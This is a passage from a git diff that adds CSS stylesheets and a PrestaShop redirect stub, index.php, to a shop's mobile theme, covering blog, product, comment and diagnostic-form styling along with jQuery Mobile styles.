margin-top:5px; + display: block; +} + +.posts_archives_block{ + background:rgba(0,0,0,0.7); +} +.posts_block, +.posts_block_categories{ + background:#fff; +} +.posts_block_categories{ + margin:0px; + border-top:7px solid #b9da1a; +} + +.post_search_block h4, +.posts_archives_block h4, +.posts_block h4, +.posts_block_categories h4{ + background:#b9da1a; + font-weight: normal; + font-size:18px; + padding:0px; + height: 33px; + line-height: 33px; + color:#000; + text-align: center; + text-transform: uppercase; +} +.post_search_block h4 a, +.posts_archives_block h4 a, +.posts_block h4 a{ + color:#000; +} +.posts_block_categories{padding:10px 0;} +.posts_archives_block ul, +.posts_block_categories ul{ list-style: none; } +.posts_block_categories ul li ul{ margin-left:15px; } +.posts_archives_block li, +.posts_block_categories li { border:none !important; position:relative; } +.posts_block_categories li.current a{color:#b9da1a;} +.posts_block_categories li:after{ + content:""; + width:173px; + margin:0px auto; + height:20px; + position:absolute; + bottom:-10px; + left:0; + right:0; + background:url(../../img/bg_bottom_list.png) center center no-repeat transparent; +} +.posts_block_categories li:last-child:after{ + display:none; +} +.posts_archives_block ul li a, +.posts_block_categories ul li a { + color: #333333; + display: block; + padding: 30px 0; + text-align: center; + font-family: Times new roman, serif; + font-size:18px; + text-transform: uppercase; +} + +div.products ul li div.text_desc h5 a:hover, +.share .details a:hover, +#post_list ul li .details span a:hover, +.posts_archives_block ul li a:hover, +.posts_block_categories ul li a:hover{ + text-decoration: none; + color:#b9da1a; +} +.posts_archives_block ul li a{ + color:#fff; + letter-spacing: 2px; +} + +.posts_archives_block li:after{ + content:""; + width:173px; + margin:0px auto; + height:20px; + position:absolute; + bottom:-10px; + left:0; + right:0; + background:url(../../img/bg_bottom_list_white.png) center center no-repeat transparent; +} + +.posts_archives_block li:last-child:after{ + display:none; +} + +/* +.posts_block .block_content p.pmore{ + background:#000; +} +.posts_block .block_content p.pmore a.more +{ + font-weight: bold; + background: url("../../../themes/default/img/homeblockFleche1.png") no-repeat scroll right center #b9da1a; + border:1px solid #a9c717; + color: #000; + display: inline-block; + height:30px; + margin-left:5px; + line-height: 30px; + padding:0 30px 0 14px; + width: auto; +} +*/ + +.blog_block_footer{ float:left; max-width:200px; padding: 15px 10px; } +.blog_block_footer h4{ background: none; font-weight:normal; font-size:14px; padding:0; } +.blog_block_footer ul li a{ background:none; padding:0; border:none; } +.posts_block.blog_block_footer li{ border:none; } + + +.posts_archives_block .block_content{ background:transparent;} +/* .posts_archives_block .block_content ul li li a{ padding: 4px 0px 4px 32px; } */ +.posts_archives_block .block_content a{ + +} +.posts_archives_block .block_content a.posts_month{ + font-weight:normal; +} + +#ProductPosts { clear: both;} +#ProductPosts h3 { border-top: 1px solid #000; color: #000; font-size: 12px; font-weight: bold; margin: 30px 0 0 0; padding: 10px 0; text-transform: uppercase; } + +::-webkit-input-placeholder { /* WebKit browsers */ + color: #666; +} +:-moz-placeholder { /* Mozilla Firefox 4 to 18 */ + color: #666; + opacity: 1; +} +::-moz-placeholder { /* Mozilla Firefox 19+ */ + color: #666; + opacity: 1; +} +:-ms-input-placeholder { /* Internet Explorer 10+ */ + color: #666; +} + +div.article div.content div#post_view{ + padding:20px 86px; + background:#fff; +} +div.article div.content div#post_view div.rte, +div.article div.content div#post_view div.rte *{ + font-family: 'ProximaNova'; + font-size: 14px; + line-height: 1.5em +} +div.share{ + background:rgba(255,255,255,0.4); + border-top:7px solid #b9da1a; + padding:20px 86px; +} +.share p.details{ + width:50%; + float:left; +} +.share div.addthis_toolbox{ + width:50%; + float:left; +} +.share .addthis_toolbox span, +.share .details span{ + display: block; + color:#fff; + font-size:11px; + font-family:'ProximaNova'; + margin-bottom:5px; +} + +div.products{ + margin-top:10px; + background:#fff; + padding:10px 86px; + border-top:7px solid #b9da1a; + border-bottom:7px solid #b9da1a; +} +div.products h3{ + height:85px; + line-height:85px; + color:#000; + text-transform: uppercase; + text-align: center; + font-size: 23px; +} + + +div.products ul li a.content_img{ + display:block; + width:130px; + height:130px; + line-height:130px; + float: left; + text-align: center; +} + +div.products ul li a.content_img img{ + max-width:100%; + max-height:100%; +} + +div.products ul li div.text_desc{ + float:left; + width:348px; +} + +div.products ul li div.text_desc h5{ + font-size:18px; + font-family:'ProximaNova'; + margin-bottom: 10px; +} + +div.products ul li div.text_desc p{ + font-size:14px; + font-family:'ProximaNova'; +} +div.products ul li div.text_desc p a.more{ + background:#B9DA1A; + color:#000; + font-family:Times new roman; + font-size:16px; + text-transform:uppercase; + padding:10px 23px 10px 18px; + border:1px solid #c4c4c4; +} +div.products ul li div.text_desc p a.more:hover{ + text-decoration: none; +} +div.products ul li div.text_desc p a.more span{ + margin-left:10px; +} + +.comment_content +{ + background: #fff; + padding:35px 85px 55px 85px; + border-top:7px solid #b9da1a; +} +.comment_content input[type=text], +.comment_content textarea +{ + background:#fff; + padding:3px 2%; + border:1px solid #c6c6c6; + box-shadow:inset 1px 1px 3px rgba(0,0,0,0.3); + min-width: 95%; + width: 95%; + max-width: 95%; +} +.comment_content textarea{ + padding:11px 2%; +} +#columns{ + padding-bottom:30px; +} +.comment_content .sheets{ + margin-bottom:20px; +} +.comment_content form h4{ + margin:10px 0px; + text-align: left; + font-family: 'ProximaNova'; + text-transform: none; + font-size:18px; + font-weight:normal; + +} + +.comment_content div.intro{ + color:#666666; + margin-bottom:20px; +} +.comment_content div.content{ + font-size:14px; +} + + + + +div.products ul li, +.comment_content .comment{ border:none !important; position:relative; padding:20px 0; } + +div.products ul li{ + padding:20px 0 0 0; +} +div.products ul li:after, +.comment_content .comment:after{ + content:""; + width:100%; + margin:0px auto; + height:20px; + position:absolute; + bottom:-10px; + left:0; + right:0; + background:url(../../img/bg_bottom_list_big.png) center center no-repeat transparent; +} +div.products ul li:last-child:after, +.comment_content .comment:last-child:after{ + display:none; +} +.comment_content .comment p{ + margin:0px !important; + padding:0px !important; +} + +@media (max-width:720px){ + + div#module-psblog-posts{ + background:url("../../img/bg_blog.jpg") center center repeat-y #000; + } + + .article.borderGreen .img_default h3, + #post_list ul li .img_default h2 + { + position:absolute; + bottom:0; + left:0; + right:0; + padding:20px 86px; + margin-bottom:0px; + background:rgba(255,255,255,0.6); + } + + + div.article.borderGreen .stared, + div#post_list li.borderGreen .stared{ + background-size: 90px; + height:75px; + left:-29px; + padding-top:39px; + top:-57px; + } + + + + div.article.borderGreen span.stared span.top, + #post_list ul li span.stared span.top{ + font-size:20px; + } + + div.article.borderGreen span.stared span.bottom, + #post_list ul li span.stared span.bottom{ + font-size:10px; + } +} + +/****************************************************************************/ +/************************** PSBLOG / OH MON GRIMOIRE ************************/ +/****************************************************************************/ + +.psblog_head, +#psblog { + padding : 0 15px; +} +.psblog_title span.psblog_title-inner, +.ui-mobile-viewport .psblog_title span.psblog_title-inner, +.ui-mobile-viewport .psblog_title a:visited, +.ui-mobile-viewport .psblog_title a.psblog_title-inner + { + font-family: 'trajan'; + color: #fff; + font-weight: normal; + text-transform: uppercase; + font-size: 60px; + position: relative; + margin-left: 20px; +} + +.psblog_title .psblog_title-inner:before, .psblog_title .psblog_title-inner:after { + content: ''; + position: absolute; + height: 74px; + width: 13px; + background: url("../../img/bg-title-blog.png") center center; + background-repeat: no-repeat; + +} +.psblog_title .psblog_title-inner:before { + + left: -20px; +} +.psblog_title .psblog_title-inner:after { + position: absolute; + right: -20px; + transform: rotate(180deg); + -webkit-transform: rotate(180deg); + -moz-transform: rotate(180deg); + -ms-transform: rotate(180deg); + -o-transform: rotate(180deg); + +} +/*.psblog_title .psblog_title-inner:after { + top: 0; + left: -20px; +}*/ +div.products ul { + list-style-type: none; + padding-left: 0; +} + div.products ul li:after { + bottom: -15px; + } + div.products ul img { + width: 100%; + } + div.products p { + font-size: 21px; + } + .article div.products ul li a.content_img { + width: 50%; + height: auto; + } + div.products ul li div.text_desc h5 { + font-size: 20px; + text-transform: uppercase; + } + .article div.products ul li div.text_desc p { + font-size: 18px; + } + + + +/****************************************************************************/ +/************************** NEWSLETTER **************************************/ +/****************************************************************************/ +body #fancybox-wrap .fleche_off{ + position: absolute; + right: 0; +} +/****************************************************************************/ +/************************** FORM ************************/ +/****************************************************************************/ +.ui-bar-a a.ui-link { + color: #000000; +} +#sendComment p.submit { + height: 60px; +} +/******** philosophie **********/ + +#page .tiroir h3{ + background:url('../../img/fondh3.png') repeat-x 0 0; + border:1px solid #d9d9d9; + line-height:30px; + height:30px; + padding:0; + margin:0 0 10px; + cursor:pointer; +} +#page .tiroir h3 span{ + cursor:pointer; + display:block; + color:#92af06; + line-height:30px; + height:30px; + font-size:16px; + font-weight:bold; + padding:0 12px 0 32px; + display:block; + font-family:Times New Roman; + background:url('../../../img/moreless.png') no-repeat 8px -76px; +} +#page .tiroir.open h3 span{ + background:url('../../img/moreless.png') no-repeat 9px 13px; +} +#page .tiroir div.texte{ + padding:10px 0; + color:#000000; + font-size:12px; +} +#philosophie .leftCol {display: none;} +#philosophie .centerCol {width:100%;} +#philosophie .tiroir {margin-bottom: 10px;} +#philosophie .tiroir h3 { + border: 0; + background: #b9da1a; + color: #000000; + font-size: 18px; + text-align: center; + text-transform: uppercase +} +#philosophie .tiroir.open h3 span { background: none; } +#philosophie .tiroir h3 span {background: none; color: #000000; font-size: 18px; height: 33px; line-height: 33px; font-weight: normal; } +#philosophie .tiroir div.texte {border: 0; color: #000000;font-size: 12px;padding: 5px 5px 0;} +#philosophie .article {border-top: 7px solid #b9da1a;} +#philosophie .article .image {position: relative;} +#philosophie .article .image img {display: block;height: auto;width: 100%;} +#philosophie .article h4 {text-align: left; background: none repeat scroll 0 0 rgba(255, 255, 255, 0.6);bottom: 0;box-sizing: border-box;-moz-box-sizing: border-box;-ms-box-sizing: border-box;-o-box-sizing: border-box;-webkit-box-sizing: border-box;color: #000;font-family: Times new roman,serif;font-size: 26px;font-style: italic;left: 0;line-height: 26px;padding: 20px 86px;position: absolute;text-transform: none;width: 100%;} +#philosophie .display_date {background: url("../../img/bg_star.png") no-repeat scroll center center transparent;box-sizing: border-box;-moz-box-sizing: border-box;-ms-box-sizing: border-box;-o-box-sizing: border-box;-webkit-box-sizing: border-box;display: block;font-size: 25px;height: 113px;left: -56px;line-height: 25px;padding: 43px 0;position: absolute;text-align: center;top: -57px;width: 113px;} +#philosophie .article .content { box-sizing: border-box;-moz-box-sizing: border-box;-ms-box-sizing: border-box;-o-box-sizing: border-box;-webkit-box-sizing: border-box;padding: 15px 10px;position: relative;width: 100%;} +#philosophie .texte p { font-family: 'ProximaNova'; font-size: 15px; line-height: 20px;} +#philosophie #footer #social_block { margin: 25px auto 38px; } +#page .rightCol .tiroir_quick_acces {} +#page .rightCol .tiroir_quick_acces .quick_acces { +border-top: 7px solid #b9da1a; +cursor:pointer; +position: relative; +} +#philosophie .rightCol .tiroir_quick_acces .quick_acces { margin-bottom: 10px } +#page .rightCol .tiroir_quick_acces .quick_acces img { +display: block; +float: none; +margin: 0; +} + +#ProductPosts { + margin-top: 15px; +} +#ProductPosts li a{ + color: #000; +} + +/**** MODULE ENCART PANIER (OFFRE DU MOMENT) BLOCK CONSTRUCTOR ****/ +div.block-block-constructor.clearfix{ + margin-bottom: 20px; +} + +/**** MODULE ANTADIS DIAGNOSTIC (#module-antadis_diagnostic-display) ****/ +.profil-finish .profil-description, +.profil-finish .profil-product, +.profil-finish .profil-complement{ + text-align: center; +} + .profil-finish .profil-description h2, + .profil-finish .profil-product h2, + .profil-finish .profil-complement h2{ + padding:0; + font-family: Times New Roman; + font-weight: normal; + font-size: 28px; + line-height: 28px; + margin-top: 30px; + } + + .trait-stars{ + width: 270px; + height: 1px; + background:#000; + margin:0 auto; + position: relative; + margin-bottom: 20px; + } + .trait-stars:after{ + content: '' ; + background: url('../../img/diag-black-star.png') no-repeat center ; + display: block; + height: 20px; + width: 20px; + position: absolute; + z-index: 1; + top: -9px; + left: 0; + right: 0; + margin: 0 auto; + } + .profil-finish .profil-description p{ + width: 80%; + margin: 0 auto; + } + .profil-finish .profil-complement{ + margin-top: 30px; + margin-bottom: 30px; + } + +.profil-finish .profil-product-list .product-list-item, +.profil-finish .profil-complement-list .complement-list-item{ + width: 45%; + height: auto; + display: inline-block; + position: relative; + cursor: pointer; + margin-right: 20px; +} +.profil-finish .profil-product-list .product-list-item:nth-child(2n), +.profil-finish .profil-complement-list .complement-list-item:nth-child(2n), +.profil-finish .profil-product-list .product-list-item:last-child, +.profil-finish .profil-complement-list .complement-list-item:last-child{ + margin-right: 0; +} + .profil-product-list, + .profil-complement-list{ + padding: 0; + } + .product-list-item a.product_img_link, + .complement-list-item a.product_img_link{ + display: block; + height: calc(100% - 45px); + } + .product-list-item a.product_img_link img, + .complement-list-item a.product_img_link img{ + height: 100%; + } + .product-list-item .descr, + .complement-list-item .descr{ + display: none; + position: absolute; + z-index: 1; + top: 0; + left: 0; + bottom: 45px; + background-color: rgba(229,229,229,0.75); + padding: 0px 20px 0 20px; + font-weight: 600; + overflow-y: auto; + + } + .product-list-item:hover .descr, + .complement-list-item:hover .descr{ + display: block; + } + .product-list-item .descr .product-desc, + .complement-list-item .descr .product-desc{ + line-height: 15px; + } + .product-list-item .descr p a, + .complement-list-item .descr p a{ + text-decoration: underline; + } + .product-list-item .checkbox-choice, + .complement-list-item .checkbox-choice{ + background: url('../../img/diag-checkbox.png') no-repeat center #ccdb52; + height: 45px; + } + .product-list-item .checkbox-choice.checked, + .complement-list-item .checkbox-choice.checked{ + background: url('../../img/diag-checkbox-checked.png') no-repeat center #ccdb52; + } +.profil-finish p.profil-finish{ + text-align: center; +} + .profil-finish p.profil-finish a.ui-link.button{ + background: #ccdb52; + border: none; + padding: 10px 15px; + width: auto; + margin: 0 auto 20px auto; + display: inline-block; + } +.profil-finish .div-boxPartage{ + text-align: center; +} + .profil-finish .boxPartage{ + border: 2px solid #B9DA1A; + display: block; + width: 100%; + margin-bottom: 20px; + padding: 20px 0px; + } + .profil-finish .boxPartage.item1{ + padding-top: 70px; + background: url('../img/imprimerDiag.png') no-repeat center 17px; + } + .profil-finish .boxPartage.item2{ + padding-top: 55px; + background: url('../../img/mailDiag.png') no-repeat center 17px; + } + .profil-finish .boxPartage a.ui-link, + .profil-finish .boxPartage p.uppercase{ + font-size: 18px; + text-transform: uppercase; + } + .profil-finish .boxPartage.item3 p.uppercase{ + padding:0; + margin-top: 20px; + } + +.etape0{ + width: 70%; + margin:0 auto; + +} + .etape0 img, + .etape0 div.description{ + display: block; + margin:0 auto; + } + .etape0 div.description{ + width: 100%; + text-align: center; + margin-top: 20px; + } + .etape0 .description p{ + padding: 0 0 20px; + line-height: 24px; + font-size: 20px; + text-align: center; + } + .etape0 .description a.button{ + font-size: 20px; + line-height: 45px; + text-transform: uppercase; + background-position: right center; + font-family: Times New Roman; + display: inline-block; + float: none; + margin-top: 15px; + background:#ccdb52; + width: auto; + height: auto; + padding: 0 20px; + } + +.diagnosticMiniStep { + text-align: center; + margin: 0 0 20px; + padding:0;; +} + .diagnosticMiniStep li { + display: inline; + } + +ul.diagnosticSteps{ + text-align: center; + padding: 0; +} + ul.diagnosticSteps li{ + display: inline-block; + background-color: #EEE; + line-height: 41px; + font-size: 14px; + text-transform: uppercase; + padding: 0 10px 0 20px; + position: relative; + margin-left: -3px; + text-indent: -9999px; + + } + ul.diagnosticSteps li:before{ + content: ""; + border: 15px solid rgba(0, 0, 0, 0); + border-top: 21px solid rgba(0, 0, 0, 0); + border-bottom: 21px solid rgba(0, 0, 0, 0); + border-right: 21px solid rgba(0, 0, 0, 0); + border-left-color: #EEE; + position: absolute; + top: 0; + right: -35px; + z-index: 2; + } + ul.diagnosticSteps li:after{ + position: absolute; + content: ""; + border: 15px solid rgba(0, 0, 0, 0); + border-bottom: 21px solid rgba(0, 0, 0, 0); + border-top: 21px solid rgba(0, 0, 0, 0); + border-right: 21px solid rgba(0, 0, 0, 0); + border-left-color: #fff; + top: 0; + right: -37px; + z-index: 1; + + } + + ul.diagnosticSteps li.selected{ + background-color:#B9DA1A ; + text-indent: 0; + width: calc(100% - 5 * 70px); + padding: 0; + } + ul.diagnosticSteps li.selected:before{ + border-left-color: #B9DA1A; + } + ul.diagnosticSteps li:last-child:after, + ul.diagnosticSteps li:last-child:before{ + display: none; + } + ul.diagnosticSteps li a{ + font-family: Times New Roman; + display: block; + text-decoration: none; + font-size: 15px; + width: 30px; + } + ul.diagnosticSteps li.selected a{ + width: 100%; + } + +form.diag{ + width: 80%; + margin:40px auto; +} + form.diag p.titre { + padding: 0 0 20px 24px; + background: url('../../img/diagFleche.png') no-repeat 0 0; + font-size: 16px; + font-weight: bold; + line-height: 20px; + margin-top: 20px; + } + form.diag p.submit{ + margin-top: 20px; + } + form.diag p.submit input, + form.diag p.submit a.button.back{ + float: right; + font-size: 20px; + font-family: Times New Roman; + border-radius: 0; + border: 0; + padding: 10px; + background:#B9DA1A ; + } + form.diag p.submit a.button.back{ + float: left; + line-height: initial; + height: auto; + + } + form.diag p.erreur, + form.diag p.erreur label { + color: #F00; + } + + form.diag p.radio label{ + margin: 0 15px 0 10px; + cursor: pointer; + } + form.diag .radio label.ui-btn{ + float: left; + width: auto; + } + +#recevoirparmail .inputNew{ + font-size: 20px; + float: none; +} +#recevoirparmail form .ui-input-text{ + display: inline-block; + float: none; + font-size: 20px; +} + #recevoirparmail p.block_content-info{ + font-size: 24px; + } +#recevoirparmail .ui-btn-inner{ + font-size: 25px; +} + +#fancybox-content { + margin: 0 auto; +} \ No newline at end of file diff --git a/themes/default/_mobile/css/index.php b/themes/default/_mobile/css/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/default/_mobile/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/_mobile/css/jqm-docs.css b/themes/default/_mobile/css/jqm-docs.css new file mode 100755 index 0000000..6e6a595 --- /dev/null +++ b/themes/default/_mobile/css/jqm-docs.css @@ -0,0 +1,288 @@ +/* jqm docs css + +Beware: lots of last-minute CSS going on in here +cobblers, shoes, +*/ + +body {/* background: #dddddd; */} +.ui-mobile .type-home .ui-content { margin: 0;/* background:#e5e5e5;*/} +.ui-mobile #jqm-homeheader { padding: 40px 10px 0; text-align: center; margin: 0 auto; } +.ui-mobile #jqm-homeheader h1 { margin: 0 0 ; } +.ui-mobile #jqm-homeheader p { margin: .3em 0 0; line-height: 1.3; font-size: .9em; font-weight: bold; color: #666; } +.ui-mobile #jqm-version { text-indent: -99999px;width: 119px; height: 122px; overflow: hidden; position: absolute; z-index: 50; top: -11px; right: 0; } +.ui-mobile .jqm-themeswitcher { margin: 10px 25px 10px 10px; } + +h2 { margin:1.2em 0 .4em 0; } +p code { font-size:1.2em; font-weight:bold; } + +dt { font-weight: bold; margin: 2em 0 .5em; } +dt code, dd code { font-size:1.3em; line-height:150%; } +pre { white-space: pre; white-space: pre-wrap; word-wrap: break-word; } + +#jqm-homeheader img { width: 235px; } +img { max-width: 100%; } + +.ui-header .jqm-home { top:0.65em; } +nav { margin: 0; } + +p.intro { + font-size: .96em; + line-height: 1.3; + border-top: 1px solid #75ae18; + border-bottom: 0; + background: none; + margin: 1.5em 0; + padding: 1.5em 15px 0; + +} +p.intro strong { + color: #558e08; +} +.footer-docs { + padding: 5px 0; +} +.footer-docs p { + float: left; + margin-left:15px; + font-weight: normal; + font-size: .9em; +} + +.type-interior .content-secondary { + border-right: 0; + border-left: 0; + margin: 10px -15px 0; + background: #fff; + border-top: 1px solid #ccc; +} +.type-home .ui-content { + margin-top: 5px; +} +.type-interior .ui-content { + padding-bottom: 0; +} +.content-secondary .ui-collapsible { + padding: 0 15px 10px; + +} +.content-secondary .ui-collapsible-content { + padding: 0; + background: none; + border-bottom: none; +} +.content-secondary .ui-listview { + margin: 0; +} +/* new API additions */ + +dt { + margin: 35px 0 15px 0; + background-color:#ddd; + font-weight:normal; +} +dt code { + display:inline-block; + font-weight:bold; + color:#56A00E; + padding:3px 7px; + margin-right:10px; + background-color:#fff; +} +dd { + margin-bottom:10px; +} +dd .default { font-weight:bold; } +dd pre { + margin:0 0 0 0; +} +dd code { font-weight: normal; } +dd pre code { + margin:0; + border:none; + font-weight:normal; + font-size:100%; + background-color:transparent; +} +dd h4 { margin:15px 0 0 0; } + +.localnav { + margin:0 0 20px 0; + overflow:hidden; +} +.localnav li { + float:left; +} +.localnav .ui-btn-inner { + padding: .6em 10px; + font-size:80%; +} + + +/* F bar theme - just for the docs overview headers */ +.ui-bar-f { + border: 1px solid #56A00E; + background: #74b042; + color: #fff; + font-weight: bold; + text-shadow: 0 -1px 1px #234403; + background-image: -webkit-gradient(linear, left top, left bottom, from(#74b042), to(#56A00E)); /* Saf4+, Chrome */ + background-image: -webkit-linear-gradient(top, #74b042, #56A00E); /* Chrome 10+, Saf5.1+ */ + background-image: -moz-linear-gradient(top, #74b042, #56A00E); /* FF3.6 */ + background-image: -ms-linear-gradient(top, #74b042, #56A00E); /* IE10 */ + background-image: -o-linear-gradient(top, #74b042, #56A00E); /* Opera 11.10+ */ + background-image: linear-gradient(top, #74b042, #56A00E); +} +.ui-bar-f, +.ui-bar-f .ui-link-inherit { + color:#fff; +} +.ui-bar-f .ui-link { + color:#fff; + font-weight: bold; +} + + + + +/* docs site layout */ + +@media all and (min-width: 650px){ + + .jqm-home { + position: absolute; + left: 10px; + top: 0; + } + .type-home .ui-content { + margin-top: 5px; + } + .ui-mobile #jqm-homeheader { + max-width: 340px; + } + .ui-mobile .jqm-themeswitcher { + float: right; + } + p.intro { + margin: 2em 0; + } + .type-home .ui-content, + .type-interior .ui-content { + padding: 0; + background: url(../img/px-ccc.gif) 50% 0 repeat-y; + } + .type-interior .ui-content { + background-position: 45%; + overflow: hidden; + } + .content-secondary { + text-align: left; + float: left; + width: 45%; + background: none; + } + .content-secondary, + .type-interior .content-secondary { + margin: 30px 0 20px 2%; + padding: 20px 4% 0 0; + background: none; + border-top: none; + } + .type-index .content-secondary { + padding: 0; + } + .content-secondary .ui-collapsible { + margin: 0; + padding: 0; + } + .content-secondary .ui-collapsible-content { + border: none; + } + .type-index .content-secondary .ui-listview { + margin: 0; + } + + .ui-mobile #jqm-homeheader { + padding: 0; + } + .content-primary { + width: 45%; + float: right; + margin-top: 30px; + margin-right: 1%; + padding-right: 1%; + } + .content-primary ul:first-child { + margin-top: 0; + } + .content-secondary h2 { + position: absolute; + left: -9999px; + } + .type-interior .content-primary { + padding: 1.5em 6% 3em 0; + margin: 0; + } + /* fix up the collapsibles - expanded on desktop */ + .content-secondary .ui-collapsible-heading { + display: none; + } + .content-secondary .ui-collapsible-contain { + margin:0; + } + .content-secondary .ui-collapsible-content { + display: block; + margin: 0; + padding: 0; + } + .type-interior .content-secondary .ui-li-divider { + padding-top: 1em; + padding-bottom: 1em; + } + .type-interior .content-secondary { + margin: 0; + padding: 0; + } + +} +@media all and (min-width: 750px){ + .type-home .ui-content, + .type-interior .ui-content { + background-position: 39%; + } + .content-secondary { + width: 34%; + } + .content-primary { + width: 56%; + padding-right: 1%; + } + .type-interior .ui-content { + background-position: 34%; + } +} + +@media all and (min-width: 1200px){ + .type-home .ui-content{ + background-position: 38.5%; + } + .type-interior .ui-content { + background-position: 30%; + } + .content-secondary { + width: 30%; + padding-right:6%; + margin: 30px 0 20px 5%; + } + .type-interior .content-secondary { + margin: 0; + padding: 0; + } + .content-primary { + width: 50%; + margin-right: 5%; + padding-right: 3%; + } + .type-interior .content-primary { + width: 60%; + } +} \ No newline at end of file diff --git a/themes/default/_mobile/css/jquery.mobile-1.3.0.min.css b/themes/default/_mobile/css/jquery.mobile-1.3.0.min.css new file mode 100755 index 0000000..3ba45e1 --- /dev/null +++ b/themes/default/_mobile/css/jquery.mobile-1.3.0.min.css @@ -0,0 +1,13 @@ +/*! jQuery Mobile vGit Build: SHA1: 3d48d6517f808550ee402a2859feedec13b0a3fe <> Date: Tue Feb 19 15:25:22 2013 -0800 jquerymobile.com | jquery.org/license !*/ +body{font-size:14px;}.ui-bar-a{color:#fff;/*background-image:-webkit-gradient(linear,left top,left bottom,from( #3c3c3c ),to( #111 ));background-image:-webkit-linear-gradient( #3c3c3c,#111 );background-image:-moz-linear-gradient( #3c3c3c,#111 );background-image:-ms-linear-gradient( #3c3c3c,#111 );background-image:-o-linear-gradient( #3c3c3c,#111 );background-image:linear-gradient( #3c3c3c,#111 )*/}.ui-bar-a,.ui-bar-a input,.ui-bar-a select,.ui-bar-a textarea,.ui-bar-a button{font-family:Arial,Helvetica,sans-serif}.ui-bar-a .ui-link-inherit{color:#fff}.ui-bar-a a.ui-link{color:#fafafa;}.ui-bar-a a.ui-link:visited{color:#000000}.ui-bar-a a.ui-link:hover{color:#000000}.ui-bar-a a.ui-link:active{color:#000000}.ui-body-a,.ui-overlay-a{border:1px solid #444;background:#222;color:#fff;font-weight:normal;background-image:-webkit-gradient(linear,left top,left bottom,from( #444 ),to( #222 ));background-image:-webkit-linear-gradient( #444,#222 );background-image:-moz-linear-gradient( #444,#222 );background-image:-ms-linear-gradient( #444,#222 );background-image:-o-linear-gradient( #444,#222 );background-image:linear-gradient( #444,#222 )}.ui-overlay-a{background-image:none;border-width:0}.ui-body-a,.ui-body-a input,.ui-body-a select,.ui-body-a textarea,.ui-body-a button{font-family:Arial,Helvetica,sans-serif}.ui-body-a .ui-link-inherit{color:#fff}.ui-body-a .ui-link{color:#000000;font-weight:bold}.ui-body-a .ui-link:visited{color:#000000}.ui-body-a .ui-link:hover{color:#000000}.ui-body-a .ui-link:active{color:#000000}.ui-btn-up-a{border:1px solid #111;background:#333;font-weight:bold;color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #444 ),to( #2d2d2d ));background-image:-webkit-linear-gradient( #444,#2d2d2d );background-image:-moz-linear-gradient( #444,#2d2d2d );background-image:-ms-linear-gradient( #444,#2d2d2d );background-image:-o-linear-gradient( #444,#2d2d2d );background-image:linear-gradient( #444,#2d2d2d )}.ui-btn-up-a:visited,.ui-btn-up-a a.ui-link-inherit{color:#fff}.ui-btn-hover-a{border:1px solid #000;background:#444;font-weight:bold;color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #555 ),to( #383838 ));background-image:-webkit-linear-gradient( #555,#383838 );background-image:-moz-linear-gradient( #555,#383838 );background-image:-ms-linear-gradient( #555,#383838 );background-image:-o-linear-gradient( #555,#383838 );background-image:linear-gradient( #555,#383838 )}.ui-btn-hover-a:visited,.ui-btn-hover-a:hover,.ui-btn-hover-a a.ui-link-inherit{color:#fff}.ui-btn-down-a{border:1px solid #000;background:#222;font-weight:bold;color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #202020 ),to( #2c2c2c ));background-image:-webkit-linear-gradient( #202020,#2c2c2c );background-image:-moz-linear-gradient( #202020,#2c2c2c );background-image:-ms-linear-gradient( #202020,#2c2c2c );background-image:-o-linear-gradient( #202020,#2c2c2c );background-image:linear-gradient( #202020,#2c2c2c )}.ui-btn-down-a:visited,.ui-btn-down-a:hover,.ui-btn-down-a a.ui-link-inherit{color:#fff}.ui-btn-up-a,.ui-btn-hover-a,.ui-btn-down-a{font-family:Arial,Helvetica,sans-serif;text-decoration:none}.ui-bar-b{border:1px solid #456f9a;background:#5e87b0;color:#fff;font-weight:bold;background-image:-webkit-gradient(linear,left top,left bottom,from( #6facd5 ),to( #497bae ));background-image:-webkit-linear-gradient( #6facd5,#497bae );background-image:-moz-linear-gradient( #6facd5,#497bae );background-image:-ms-linear-gradient( #6facd5,#497bae );background-image:-o-linear-gradient( #6facd5,#497bae );background-image:linear-gradient( #6facd5,#497bae )}.ui-bar-b,.ui-bar-b input,.ui-bar-b select,.ui-bar-b textarea,.ui-bar-b button{font-family:Arial,Helvetica,sans-serif}.ui-bar-b .ui-link-inherit{color:#fff}.ui-bar-b a.ui-link{color:#ddf0f8;font-weight:bold}.ui-bar-b a.ui-link:visited{color:#ddf0f8}.ui-bar-b a.ui-link:hover{color:#ddf0f8}.ui-bar-b a.ui-link:active{color:#ddf0f8}.ui-body-b,.ui-overlay-b{border:1px solid #999;background:#f3f3f3;color:#222;font-weight:normal;background-image:-webkit-gradient(linear,left top,left bottom,from( #ddd ),to( #ccc ));background-image:-webkit-linear-gradient( #ddd,#ccc );background-image:-moz-linear-gradient( #ddd,#ccc );background-image:-ms-linear-gradient( #ddd,#ccc );background-image:-o-linear-gradient( #ddd,#ccc );background-image:linear-gradient( #ddd,#ccc )}.ui-overlay-b{background-image:none;border-width:0}.ui-body-b,.ui-body-b input,.ui-body-b select,.ui-body-b textarea,.ui-body-b button{font-family:Arial,Helvetica,sans-serif}.ui-body-b .ui-link-inherit{color:#333}.ui-body-b .ui-link{color:#000000;font-weight:bold}.ui-body-b .ui-link:visited{color:#000000}.ui-body-b .ui-link:hover{color:#000000}.ui-body-b .ui-link:active{color:#000000}.ui-btn-up-b{border:1px solid #044062;background:#396b9e;font-weight:bold;color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #5f9cc5 ),to( #396b9e ));background-image:-webkit-linear-gradient( #5f9cc5,#396b9e );background-image:-moz-linear-gradient( #5f9cc5,#396b9e );background-image:-ms-linear-gradient( #5f9cc5,#396b9e );background-image:-o-linear-gradient( #5f9cc5,#396b9e );background-image:linear-gradient( #5f9cc5,#396b9e )}.ui-btn-up-b:visited,.ui-btn-up-b 